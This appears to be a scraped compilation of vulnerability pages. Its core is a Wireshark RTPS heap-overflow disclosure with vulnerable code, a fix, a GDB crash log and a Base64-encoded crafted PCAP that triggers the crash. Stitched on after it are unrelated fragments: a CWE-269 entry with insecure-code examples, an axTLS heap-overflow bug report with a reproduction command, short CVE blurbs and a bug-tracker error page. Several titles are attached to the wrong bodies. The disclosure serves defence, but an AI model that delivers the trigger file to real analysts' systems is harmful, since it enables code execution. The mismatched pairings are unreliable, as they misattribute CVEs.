**CVE-2023-0666: Wireshark RTPS Parsing Buffer Overflow**

AHA! has discovered an issue with Wireshark from The Wireshark Foundation, and is issuing this disclosure in accordance with AHA!’s standard disclosure policy today, on Monday, June 5, 2023. CVE-2023-0666 has been assigned to this issue.

Any questions about this disclosure should be directed to **\[email protected\]**.

**Executive Summary**

Due to failure in validating the length provided by an attacker-crafted RTPS packet, Wireshark version 4.0.5 and prior, by default, is susceptible to a heap-based buffer overflow, and possibly code execution in the context of the process running Wireshark. CVE-2023-0666 appears to be an instance of CWE-122.

**Technical Details**

The rtps_util_add_type_library_type function contains a call to g_strlcpy that, without validation, uses a length supplied by the packet data that can result in a heap-based buffer overflow.

Snippet of the vulnerable code:

      static gint rtps_util_add_type_library_type(proto_tree *tree,
              tvbuff_t * tvb, gint offset, const guint encoding, dissection_info *info) {
        proto_tree * annotation_tree;
        guint32 member_id = 0, member_length = 0, long_number, i;
        gint offset_tmp;
        guint16 short_number;
        gchar * name = NULL;
        rtps_util_dissect_parameter_header(tvb, &offset, encoding, &member_id, &member_length);
        offset_tmp = offset;
    /* ... */
        long_number = tvb_get_guint32(tvb, offset_tmp, encoding);
        name = tvb_get_string_enc(wmem_packet_scope(), tvb, offset_tmp+4, long_number, ENC_ASCII);
        if (info)
          (void) g_strlcpy(info->member_name, name, long_number);
    

The dissection_info struct is defined as:

      typedef struct _dissection_info {
        guint64 type_id;
        gint member_kind;
        guint64 base_type_id;
        guint32 member_length;
        gchar member_name[MAX_MEMBER_NAME];
    
        RTICdrTypeObjectExtensibility extensibility;
    
        gint32 bound;
        guint32 num_elements;
        dissection_element* elements;
    
      } dissection_info;
    

and MAX_MEMBER_NAME is defined as:

      #define MAX_MEMBER_NAME                 (256)
    

The overflow occurs when long_number is greater than 256 bytes however it should be noted that this does require that many bytes to have been sent.

g_strlcpy expects the size of the destination buffer as the last argument so this can be remediated by using sizeof(info->member_name) instead of long_number in the g_strlcpy call. Additionally, the return value should be checked because if it is greater than sizeof(info->member_name), then truncation occurred.

Reproduction: Run tshark -r rtps_trigger.pcap or open rtps_trigger.pcap in Wireshark. Note that an ASAN build is not required due to the way the PCAP was crafted.

Full output from running under GDB:

    (gdb) run -r ~/rtps_trigger.pcap
    Starting program: /usr/bin/tshark -r ~/rtps_trigger.pcap
    
    This GDB supports auto-downloading debuginfo from the following URLs:
    https://debuginfod.ubuntu.com
    Enable debuginfod for this session? (y or [n]) n
    Debuginfod has been disabled.
    To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
    [Thread debugging using libthread_db enabled]
    Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
    [New Thread 0x7fffebcdd6c0 (LWP 125835)]
    [Thread 0x7fffebcdd6c0 (LWP 125835) exited]
    [New Thread 0x7fffebcdd6c0 (LWP 125836)]
    [Thread 0x7fffebcdd6c0 (LWP 125836) exited]
        1   0.000000 192.168.0.231 → 192.168.0.214 TCP 54 2603 → 9187 [SYN] Seq=0 Win=8192 Len=0
        2   0.000363 192.168.0.214 → 192.168.0.231 TCP 54 9187 → 2603 [SYN, ACK] Seq=0 Ack=0 Win=8192 Len=0
        3   0.000611 192.168.0.231 → 192.168.0.214 TCP 54 2603 → 9187 [ACK] Seq=1 Ack=0 Win=8192 Len=0
        4   0.000853 192.168.0.231 → 192.168.0.214 RTPS 1454 DATA_deprecated[Malformed Packet]
    
    Thread 1 "tshark" received signal SIGSEGV, Segmentation fault.
    wmem_block_split_free_chunk (allocator=0x5555555bf660, chunk=0x7fffe9f44fb0, size=<optimized out>) at ./wsutil/wmem/wmem_allocator_block.c:614
    614     ./wsutil/wmem/wmem_allocator_block.c: No such file or directory.
    (gdb) x/5i $pc
    => 0x7ffff088db1b <wmem_block_split_free_chunk+267>:    mov    QWORD PTR [rsi+0x10],rax
       0x7ffff088db1f <wmem_block_split_free_chunk+271>:    mov    QWORD PTR [r8+0x8],rax
       0x7ffff088db23 <wmem_block_split_free_chunk+275>:    jmp    0x7ffff088da9b <wmem_block_split_free_chunk+139>
       0x7ffff088db28 <wmem_block_split_free_chunk+280>:    nop    DWORD PTR [rax+rax*1+0x0]
       0x7ffff088db30 <wmem_block_split_free_chunk+288>:    mov    rax,QWORD PTR [rcx+0x10]
    (gdb) p (char[]) $rsi
    $1 = "AHA!AHA!"
    

A Base64 encoded blob of an example PCAP that can trigger the issue is below.

\[expand\]

    1MOyoQIABAAAAAAAAAAAAP//AAABAAAAW+1JZDkZDgA2AAAANgAAAHRGoNgQS3RGo
    CvQ6AgARQAAKAABAABABvfBwKgA58CoANYKKyPjAAC1rAAAAABQAiAAKRoAAFvtSW
    SkGg4ANgAAADYAAAB0RqAr0Oh0RqDYEEsIAEUAACgAAQAAQAb3wcCoANbAqADnI+M
    KKwAAAAEAALWsUBIgACkJAABb7UlknBsOADYAAAA2AAAAdEag2BBLdEagK9DoCABF
    AAAoAAEAAEAG98HAqADnwKgA1gorI+MAALWtAAAAAVAQIAApCgAAW+1JZI4cDgCuB
    QAArgUAAHRGoNgQS3RGoCvQ6AgARQAFoAABAABABvJJwKgA58CoANYKKyPjAAC1rQ
    AAAAJQGCAA7yIAAAAACJBSVFBTAgABAQAAAAAAAQkBEjRWeAIbeABSZWFkV3JpdJh
    2VDIQ/ty6EjRWeN6tur5FZ4kKuqqqrRD+3LpyAEwAAQAAAAYAAABGaQABDgAAAAIA
    AAARIjNEVWZ3iJmqu8zd7v8WFxgZICEiIyQBAgMEBQYHCAkQERITFBUWFxgZICEiI
    yQDAAAARXhwAAEAAABBYTBBYTFBYTJBYTNBYTRBYTVBYTZBYTdBYThBYTlBYjBBYj
    FBYjJBYjNBYjRBYjVBYjZBYjdBYjhBYjlBYzBBYzFBYzJBYzNBYzRBYzVBYzZBYzd
    BYzhBYzlBZDBBZDFBZDJBZDNBZDRBZDVBZDZBZDdBZDhBZDlBZTBBZTFBZTJBZTNB
    ZTRBZTVBZTZBZTdBZThBZTlBZjBBZjFBZjJBZjNBZjRBZjVBZjZBZjdBZjhBZjlBZ
    zBBZzFBZzJBZzNBZzRBZzVBZzZBZzdBZzhBZzlBaAAEAABBaDJBaDNBaDRBaDVBaD
    ZBaDdBaDhBaDlBaTBBaTFBaTJBaTNBaTRBaTVBaTZBaTdBaThBaTlBajBBajFBajJ
    BajNBajRBajVBajZBajdBajhBajlBazBBazFBazJBazNBazRBazVBazZBazdBazhB
    azlBbDBBbDFBbDJBbDNBbDRBbDVBbDZBbDdBbDhBbDlBbTBBbTFBbTJBbTNBbTRBb
    TVBbTZBbTdBbThBbTlBbjBBbjFBbjJBbjNBbjRBbjVBbjZBbjdBbjhBbjlBbzBBbz
    FBbzJBbzNBbzRBbzVBbzZBbzdBbzhBbzlBcDBBcDFBcDJBcDNBcDRBcDVBcDZBcDd
    BcDhBcDlBcTBBcTFBcTJBcTNBcTRBcTVBcTZBcTdBcThBcTlBcjBBcjFBSEEhQUhB
    ITRBcjVBcjZBcjdBcjhBcjlBczBBczFBczJBczNBczRBczVBczZBczdBczhBczlBd
    DBBdDFBdDJBdDNBdDRBdDVBdDZBdDdBdDhBdDlBdTBBdTFBdTJBdTNBdTRBdTVBdT
    ZBdTdBdThBdTlBdjBBdjFBdjJBdjNBdjRBdjVBdjZBdjdBdjhBdjlBdzBBdzFBdzJ
    BdzNBdzRBdzVBdzZBdzdBdzhBdzlBeDBBeDFBeDJBeDNBeDRBeDVBeDZBeDdBeDhB
    eDlBeTBBeTFBeTJBeTNBeTRBeTVBeTZBeTdBeThBeTlBejBBejFBejJBejNBejRBe
    jVBejZBejdBejhBejlCYTBCYTFCYTJCYTNCYTRCYTVCYTZCYTdCYThCYTlCYjBCYj
    FCYjJCYjNCYjRCYjVCYjZCYjdCYjhCYjlCYzBCYzFCYzJCYzNCYzRCYzVCYzZCYzd
    CYzhCYzlCZDBCZDFCZDJCZDNCZDRCZDVCZDZCZDdCZDhCZDlCZTBCZTFCZTJCZTNC
    ZTRCZTVCZTZCZTdCZThCZTlCZjBCZjFCZjJCZjNCZjRCZjVCZjZCZjdCZjhCZjlCZ
    zBCZzFCZzJCZzNCZzRCZzVCZzZCZzdCZzhCZzlCaDBCaDFCaDJCaDNCaDRCaDVCaD
    ZCaDdCaDhCaDlCaTBCQWEwQWExQWEyQWEzQWE0QWE1QWE2QWE3QWE4QWE5QWIwQWI
    xQWIyQWIzQWI0QWI1QWI2QWI3QWI4QWI5QWMwQWMxQWMyQWMzQWM0QWM1QWM2QWM3
    QWM4QWM5QWQwQWQxQWQyQWQzQWQ0QWQ1QWQ2QWQ3QWQ4QWQ5QWUwQWUxQWUyQWUzQ
    WU0QWU1QWU2QWU3QWU4QWU5QWYwQWYxQWYyQWYzQWY0QWY1QWY2QWY3QWY4QWY5QW
    cwQWcxQWcyQWczQWc0QWc1QWc2QWc3QWc4QWc5QWgwQWgxQWgyQWgzQWg0QWg1W+1
    JZBUeDgA2AAAANgAAAHRGoCvQ6HRGoNgQSwgARQAAKAABAABABvfBwKgA1sCoAOcj
    4worAAAAAgAAuyVQECAAI5EAAFvtSWQAHw4AUgMAAFIDAAB0RqDYEEt0RqAr0OgIA
    EUAA0QAAQAAQAb0pcCoAOfAqADWCisj4wAAuyUAAAACUBggAG1hAABBaDZBaDdBaD
    hBaDlBaTBBaTFBaTJBaTNBaTRBaTVBaTZBaTdBaThBaTlBajBBajFBajJBajNBajR
    BajVBajZBajdBajhBajlBazBBazFBazJBazNBazRBazVBazZBazdBazhBazlBbDBB
    bDFBbDJBbDNBbDRBbDVBbDZBbDdBbDhBbDlBbTBBbTFBbTJBbTNBbTRBbTVBbTZBb
    TdBbThBbTlBbjBBbjFBbjJBbjNBbjRBbjVBbjZBbjdBbjhBbjlBbzBBbzFBbzJBbz
    NBbzRBbzVBbzZBbzdBbzhBbzlBcDBBcDFBcDJBcDNBcDRBcDVBcDZBcDdBcDhBcDl
    BcTBBcTFBcTJBcTNBcTRBcTVBcTZBcTdBcThBcTlBcjBBcjFBSEEhQUhBITRBcjVB
    cjZBcjdBcjhBcjlBczBBczFBczJBczNBczRBczVBczZBczdBczhBczlBdDBBdDFBd
    DJBdDNBdDRBdDVBdDZBdDdBdDhBdDlBdTBBdTFBdTJBdTNBdTRBdTVBdTZBdTdBdT
    hBdTlBdjBBdjFBdjJBdjNBdjRBdjVBdjZBdjdBdjhBdjlBdzBBdzFBdzJBdzNBdzR
    BdzVBdzZBdzdBdzhBdzlBeDBBeDFBeDJBeDNBeDRBeDVBeDZBeDdBeDhBeDlBeTBB
    eTFBeTJBeTNBeTRBeTVBeTZBeTdBeThBeTlBejBBejFBejJBejNBejRBejVBejZBe
    jdBejhBejlCYTBCYTFCYTJCYTNCYTRCYTVCYTZCYTdCYThCYTlCYjBCYjFCYjJCYj
    NCYjRCYjVCYjZCYjdCYjhCYjlCYzBCYzFCYzJCYzNCYzRCYzVCYzZCYzdCYzhCYzl
    CZDBCZDFCZDJCZDNCZDRCZDVCZDZCZDdCZDhCZDlCZTBCZTFCZTJCZTNCZTRCZTVC
    ZTZCZTdCZThCZTlCZjBCZjFCZjJCZjNCZjRCZjVCZjZCZjdCZjhCZjlCZzBCZzFCZ
    zJCZzNCZzRCZzVCZzZCZzdCZzhCZzlCaDBCaDFCaDJCaDNCaDRCaDVCaDZCaDdCaD
    hCaDlCaTBCW+1JZHggDgA2AAAANgAAAHRGoCvQ6HRGoNgQSwgARQAAKAABAABABvf
    BwKgA1sCoAOcj4worAAAAAgAAvkFQECAAIHUAAA==
    

\[/expand\]

**Attacker Value**

By providing this poisoned RTPS packet, an attacker could hijack the user account of an analyst running Wireshark. Many security appliances capture packets as a matter of course for later analysis, and Wireshark is a common tool used by incident responders. So, it would be trivial for an attacker to intentionally “get caught” in order to provide their malicious packet to an incident response analyst. Once compromised, this can provide an attacker a unique, privileged position in the targeted network.

**Credit**

This issue is being disclosed through the AHA! CNA and is credited to: Austin Hackers Anonymous!

**Timeline**

Note, while we expected to publicly disclose this issue in early July (60 days after disclosure to The Wireshark Foundation), the vendor publicized the issue on May 22nd in issue 19085.

*   2023-04-27 (Wed): Initial findings presented at the regularly scheduled meeting 0x00c7.
*   2023-05-17 (Wed): PoC validated and analysis completed for disclosure.
*   2023-05-18 (Thu): Disclosed to the vendor via email at \[email protected\].
*   2023-05-18 (Thu): Vendor acknowledged, and opened issue 19085 to address.
*   2023-05-21 (Sun): Patch merged to the release-4.0 branch of Wireshark.
*   2023-05-22 (Mon): Issue 19085 made public by the vendor.
*   2023-05-24 (Wed): CVE-2023-0666 fixed in Wireshark version 4.0.6
*   2023-06-06 (Tue): Public disclosure of CVE-2023-0666

CVE-2023-0666: CVE-2023-0666 🤘 • Austin Hackers Academy

A heap-based buffer overflow vulnerability was found in the ImageMagick package that can lead to the application crashing.

'2208537?cve=title' is not a valid bug number nor an alias to a bug.

Please press **Back** and try again.

CVE-2023-2157: Invalid Bug ID

CloudPanel v2.2.2 allows attackers to execute a path traversal.

Weakness ID: 269

Abstraction: Class  
Structure: Simple

 Description

The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.

 Relationships

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

 Relevant to the view "Research Concepts" (CWE-1000)

Nature

Type

ID

Name

ChildOf

Pillar - a weakness that is the most abstract type of weakness and represents a theme for all class/base/variant weaknesses related to it. A Pillar is different from a Category as a Pillar is still technically a type of weakness that describes a mistake, while a Category represents a common characteristic used to group related things.

284

Improper Access Control

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

250

Execution with Unnecessary Privileges

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

266

Incorrect Privilege Assignment

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

267

Privilege Defined With Unsafe Actions

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

268

Privilege Chaining

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

270

Privilege Context Switching Error

ParentOf

Class - a weakness that is described in a very abstract fashion, typically independent of any specific language or technology. More specific than a Pillar Weakness, but more general than a Base Weakness. Class level weaknesses typically describe issues in terms of 1 or 2 of the following dimensions: behavior, property, and resource.

271

Privilege Dropping / Lowering Errors

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

274

Improper Handling of Insufficient Privileges

ParentOf

Base - a weakness that is still mostly independent of a resource or technology, but with sufficient details to provide specific methods for detection and prevention. Base level weaknesses typically describe issues in terms of 2 or 3 of the following dimensions: behavior, property, technology, language, and resource.

648

Incorrect Use of Privileged APIs

This table shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that the user may want to explore.

 Relevant to the view "Architectural Concepts" (CWE-1008)

Nature

Type

ID

Name

MemberOf

Category - a CWE entry that contains a set of other entries that share a common characteristic.

1011

Authorize Actors

 Modes Of Introduction

The different Modes of Introduction provide information about how and when this weakness may be introduced. The Phase identifies a point in the life cycle at which introduction may occur, while the Note provides a typical scenario related to introduction during the given phase.

Phase

Note

Architecture and Design

Implementation

REALIZATION: This weakness is caused during implementation of an architectural security tactic.

Operation

 Applicable Platforms

This listing shows possible areas for which the given weakness could appear. These may be for specific named Languages, Operating Systems, Architectures, Paradigms, Technologies, or a class of such platforms. The platform is listed along with how frequently the given weakness appears for that instance.

Languages

Class: Not Language-Specific (Undetermined Prevalence)

 Common Consequences

This table specifies different individual consequences associated with the weakness. The Scope identifies the application security area that is violated, while the Impact describes the negative technical impact that arises if an adversary succeeds in exploiting this weakness. The Likelihood provides information about how likely the specific consequence is expected to be seen relative to the other consequences in the list. For example, there may be high likelihood that a weakness will be exploited to achieve a certain impact, but a low likelihood that it will be exploited to achieve a different impact.

Scope

Impact

Likelihood

Access Control  

Technical Impact: _Gain Privileges or Assume Identity_

 Likelihood Of Exploit

 Demonstrative Examples

Example 1

This code temporarily raises the program's privileges to allow creation of a new user folder.

(bad code)

Example Language: Python 

def makeNewUserDir(username):

if invalidUsername(username):

_#avoid CWE-22 and CWE-78_  
print('Usernames cannot contain invalid characters')  
return False

try:

raisePrivileges()  
os.mkdir('/home/' + username)  
lowerPrivileges()

except OSError:

print('Unable to create new user directory for user:' + username)  
return False

return True

While the program only raises its privilege level to create the folder and immediately lowers it again, if the call to os.mkdir() throws an exception, the call to lowerPrivileges() will not occur. As a result, the program is indefinitely operating in a raised privilege state, possibly allowing further exploitation to occur.

Example 2

The following example demonstrates the weakness.

(bad code)

Example Language: C 

seteuid(0);  
_/\* do some stuff \*/_

seteuid(getuid());

Example 3

The following example demonstrates the weakness.

(bad code)

Example Language: Java 

AccessController.doPrivileged(new PrivilegedAction() {

public Object run() {

_// privileged code goes here, for example:_  
System.loadLibrary("awt");  
return null;  
_// nothing to return_  

}

Example 4

This code intends to allow only Administrators to print debug information about a system.

(bad code)

Example Language: Java 

public enum Roles {

ADMIN,USER,GUEST

}

public void printDebugInfo(User requestingUser){

if(isAuthenticated(requestingUser)){

switch(requestingUser.role){

case GUEST:

System.out.println("You are not authorized to perform this command");  
break;

default:

System.out.println(currentDebugState());  
break;

}

}  
else{

System.out.println("You must be logged in to perform this command");

}

}

While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.

Example 5

This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.

(bad code)

Example Language: Java 

public enum Roles {

ADMIN,OPERATOR,USER,GUEST

}

public void resetPassword(User requestingUser, User user, String password ){

if(isAuthenticated(requestingUser)){

switch(requestingUser.role){

case GUEST:

System.out.println("You are not authorized to perform this command");  
break;

case USER:

System.out.println("You are not authorized to perform this command");  
break;

default:

setPassword(user,password);  
break;

}

}

else{

System.out.println("You must be logged in to perform this command");

}

}

This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.

 Observed Examples

Reference

Description

CVE-2001-1555

Terminal privileges are not reset when a user logs out.

CVE-2001-1514

Does not properly pass security context to child processes in certain cases, allows privilege escalation.

CVE-2001-0128

Does not properly compute roles.

CVE-1999-1193

untrusted user placed in unix "wheel" group

CVE-2005-2741

Product allows users to grant themselves certain rights that can be used to escalate privileges.

CVE-2005-2496

Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.

CVE-2004-0274

Product mistakenly assigns a particular status to an entity, leading to increased privileges.

CVE-2007-4217

FTP client program on a certain OS runs with setuid privileges and has a buffer overflow. Most clients do not need extra privileges, so an overflow is not a vulnerability for those clients.

CVE-2007-5159

OS incorrectly installs a program with setuid privileges, allowing users to gain privileges.

CVE-2008-4638

Composite: application running with high privileges (CWE-250) allows user to specify a restricted file to process, which generates a parsing error that leaks the contents of the file (CWE-209).

CVE-2007-3931

Installation script installs some programs as setuid when they shouldn't be.

CVE-2002-1981

Roles have access to dangerous procedures (Accessible entities).

CVE-2002-1671

Untrusted object/method gets access to clipboard (Accessible entities).

CVE-2000-0315

Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).

CVE-2000-0506

User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).

 Potential Mitigations

Phases: Architecture and Design; Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Phase: Architecture and Design

Strategy: Separation of Privilege

Follow the principle of least privilege when assigning access rights to entities in a software system.

Phase: Architecture and Design

Strategy: Separation of Privilege

Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.

 Weakness Ordinalities

Ordinality

Description

Primary

(where the weakness exists independent of other weaknesses)

 Detection Methods

Automated Static Analysis

Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)

Effectiveness: High

 Memberships

This MemberOf Relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

 Notes

Mapping

Use for Mapping: Discouraged (this CWE ID should not be used to map to real-world vulnerabilities).

Rationale: CWE-269 is commonly misused. It can be conflated with "privilege escalation," which is a technical impact that is listed in many low-information vulnerability reports \[REF-1287\]. It is not useful for trend analysis.

Comments: if an error or mistake allows privilege escalation, then use the CWE ID for that mistake. Avoid using CWE-269 when only phrases such as "privilege escalation" or "gain privileges" are available, as these indicate technical impact of the vulnerability - not the root cause weakness. If the root cause seems to be directly related to privileges, then examine the children of CWE-269 for additional hints, such as Execution with Unnecessary Privileges (CWE-250) or Incorrect Privilege Assignment (CWE-266).

Maintenance

The relationships between privileges, permissions, and actors (e.g. users and groups) need further refinement within the Research view. One complication is that these concepts apply to two different pillars, related to control of resources (CWE-664) and protection mechanism failures (CWE-693).

 Taxonomy Mappings

Mapped Taxonomy Name

Node ID

Fit

Mapped Node Name

PLOVER

Privilege Management Error

 References

\[REF-44\] Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". "Sin 16: Executing Code With Too Much Privilege." Page 243. McGraw-Hill. 2010.

\[REF-62\] Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". Chapter 9, "Dropping Privileges Permanently", Page 479. 1st Edition. Addison Wesley. 2006.

 Content History

 Submissions

Submission Date

Submitter

Organization

2006-07-19

PLOVER

 Modifications

Modification Date

Modifier

Organization

2008-07-01

Eric Dalci

Cigital

updated Time\_of\_Introduction

2008-09-08

CWE Team

Moved this entry higher up in the Research view.

2008-09-08

CWE Content Team

MITRE

updated Description, Maintenance\_Notes, Name, Relationships, Taxonomy\_Mappings, Weakness\_Ordinalities

2009-05-27

CWE Content Team

MITRE

updated Name

2009-12-28

CWE Content Team

MITRE

updated Potential\_Mitigations

2010-06-21

CWE Content Team

MITRE

updated Potential\_Mitigations

2011-03-29

CWE Content Team

MITRE

updated Description, Relationships

2011-06-01

CWE Content Team

MITRE

updated Common\_Consequences

2012-05-11

CWE Content Team

MITRE

updated References, Relationships

2012-10-30

CWE Content Team

MITRE

updated Potential\_Mitigations

2013-02-21

CWE Content Team

MITRE

updated Potential\_Mitigations

2017-11-08

CWE Content Team

MITRE

updated Applicable\_Platforms, Causal\_Nature, Modes\_of\_Introduction, Relationships, Type

2019-06-20

CWE Content Team

MITRE

updated Related\_Attack\_Patterns, Relationships

2019-09-19

CWE Content Team

MITRE

updated Demonstrative\_Examples, Maintenance\_Notes, Observed\_Examples, Relationships

2020-02-24

CWE Content Team

MITRE

updated Observed\_Examples, Relationships

2020-08-20

CWE Content Team

MITRE

updated Relationships

2021-03-15

CWE Content Team

MITRE

updated Demonstrative\_Examples

2021-10-28

CWE Content Team

MITRE

updated Relationships

2022-04-28

CWE Content Team

MITRE

updated Relationships

2022-10-13

CWE Content Team

MITRE

updated References

2023-01-31

CWE Content Team

MITRE

updated Description

2023-04-27

CWE Content Team

MITRE

updated Detection\_Factors, Relationships

 Previous Entry Names

Change Date

Previous Entry Name

2008-09-09

Privilege Management Error

2009-05-27

Insecure Privilege Management

CVE-2023-33747: CWE-269: Improper Privilege Management (4.11)

axTLS v2.1.5 was discovered to contain a heap buffer overflow in the bi_import function in axtls-code/crypto/bigint.c. This vulnerability allows attackers to cause a Denial of Service (DoS) when parsing a private key.

*   Summary
*   Files
*   Reviews
*   Support
*   Mailing Lists
*   Tickets ▾
    *   Patches
    *   Feature Requests
    *   Bugs
*   News
*   Discussion
*   Code

Menu ▾ ▴

From: Xm Chen <xichi...@gm...> - 2023-05-11 16:00:09

Hi, we found a bug in the latest version of axtls(v2.1.5) when parsing
private key.

Here's how we trigger the bug and the error log from AddressSanitizer.

\`\`\`
./axssl s\_server -accept 15001 -pass abcd -key POC10 -cert ./a.pem
=================================================================
==436778==ERROR: AddressSanitizer: heap-buffer-overflow on address
0x6020000000bf at pc 0x5583a5a5a903 bp 0x7fffb8107e00 sp 0x7fffb8107df0
READ of size 1 at 0x6020000000bf thread T0
    #0 0x5583a5a5a902 in bi\_import ./axtls-code/crypto/bigint.c:631
    #1 0x5583a5a61912 in RSA\_priv\_key\_new ./axtls-code/crypto/rsa.c:66
    #2 0x5583a5a6d786 in asn1\_get\_private\_key ./axtls-code/ssl/asn1.c:299
    #3 0x5583a5a430d4 in add\_private\_key ./axtls-code/ssl/tls1.c:648
    #4 0x5583a5a3d21b in do\_obj ./axtls-code/ssl/loader.c:134
    #5 0x5583a5a3d0b7 in ssl\_obj\_load ./axtls-code/ssl/loader.c:92
    #6 0x5583a5a3a8a3 in do\_server ./axtls-code/samples/c/axssl.c:232
    #7 0x5583a5a39dcd in main ./axtls-code/samples/c/axssl.c:90
    #8 0x7f51816ce082 in \_\_libc\_start\_main ../csu/libc-start.c:308
    #9 0x5583a5a39b4d in \_start (axssl+0x8b4d)

0x6020000000bf is located 13 bytes to the right of 2-byte region
\[0x6020000000b0,0x6020000000b2)
allocated by thread T0 here:
    #0 0x7f518194c527 in \_\_interceptor\_malloc
../../../../src/libsanitizer/asan/asan\_malloc\_linux.cpp:145
    #1 0x5583a5a6cbbd in asn1\_get\_big\_int ./axtls-code/ssl/asn1.c:168
    #2 0x5583a5a6d559 in asn1\_get\_private\_key ./axtls-code/ssl/asn1.c:292
    #3 0x5583a5a430d4 in add\_private\_key ./axtls-code/ssl/tls1.c:648
    #4 0x5583a5a3d21b in do\_obj ./axtls-code/ssl/loader.c:134
    #5 0x5583a5a3d0b7 in ssl\_obj\_load ./axtls-code/ssl/loader.c:92
    #6 0x5583a5a3a8a3 in do\_server ./axtls-code/samples/c/axssl.c:232
    #7 0x5583a5a39dcd in main ./axtls-code/samples/c/axssl.c:90
    #8 0x7f51816ce082 in \_\_libc\_start\_main ../csu/libc-start.c:308

SUMMARY: AddressSanitizer: heap-buffer-overflow
./axtls-code/crypto/bigint.c:631 in bi\_import
Shadow bytes around the buggy address:
  0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
  0x0c047fff8000: fa fa 00 00 fa fa 02 fa fa fa 02 fa fa fa 02 fa
=>0x0c047fff8010: fa fa 05 fa fa fa 02\[fa\]fa fa 02 fa fa fa 02 fa
  0x0c047fff8020: fa fa 00 fa fa fa 04 fa fa fa 00 fa fa fa fd fa
  0x0c047fff8030: fa fa 00 00 fa fa 00 04 fa fa fd fa fa fa 00 00
  0x0c047fff8040: fa fa fd fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
  Addressable:           00
  Partially addressable: 01 02 03 04 05 06 07
  Heap left redzone:       fa
  Freed heap region:       fd
  Stack left redzone:      f1
  Stack mid redzone:       f2
  Stack right redzone:     f3
  Stack after return:      f5
  Stack use after scope:   f8
  Global redzone:          f9
  Global init order:       f6
  Poisoned by user:        f7
  Container overflow:      fc
  Array cookie:            ac
  Intra object redzone:    bb
  ASan internal:           fe
  Left alloca redzone:     ca
  Right alloca redzone:    cb
  Shadow gap:              cc
==436778==ABORTING
\`\`\`

We triaged the crash, and found that the bug locates at ./ssl/asn1.c.
Firstly, when invoking \`RSA\_priv\_key\_new\`, function \`asn1\_get\_private\_key\`
uses the values from \`asn1\_get\_big\_int\` as arguments without any check.
Secondly, when calling \`bi\_import\` from \`RSA\_priv\_key\_new\`, the data and
its len may not match.
Finally, there might be an out-of-bound access in function \`bi\_import\` at
line 631 within the loop.


You can use the attached files and the following compile command to
reproduce the bug.
\`\`\`
LDFLAGS="-fsanitize=address" CFLAGS="-g -O0 -fsanitize=address"
CXXFLAGS="-g -O0 -fsanitize=address" make
\`\`\`

Thank you for your work. We are prepared to provide more information and
looking forward for your reply!

Xingman Chen

View entire thread

CVE-2023-33613: [axtls-general] [Bug Report] heap buffer overflow when parsing private key

A heap buffer overflow vulnerability exists in NanoMQ 0.17.2. The vulnerability can be triggered by calling the function nmq_subinfo_decode() in the file mqtt_parser.c. An attacker could exploit this vulnerability to cause a denial of service attack.

**Have a question about this project?** Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Pick a username

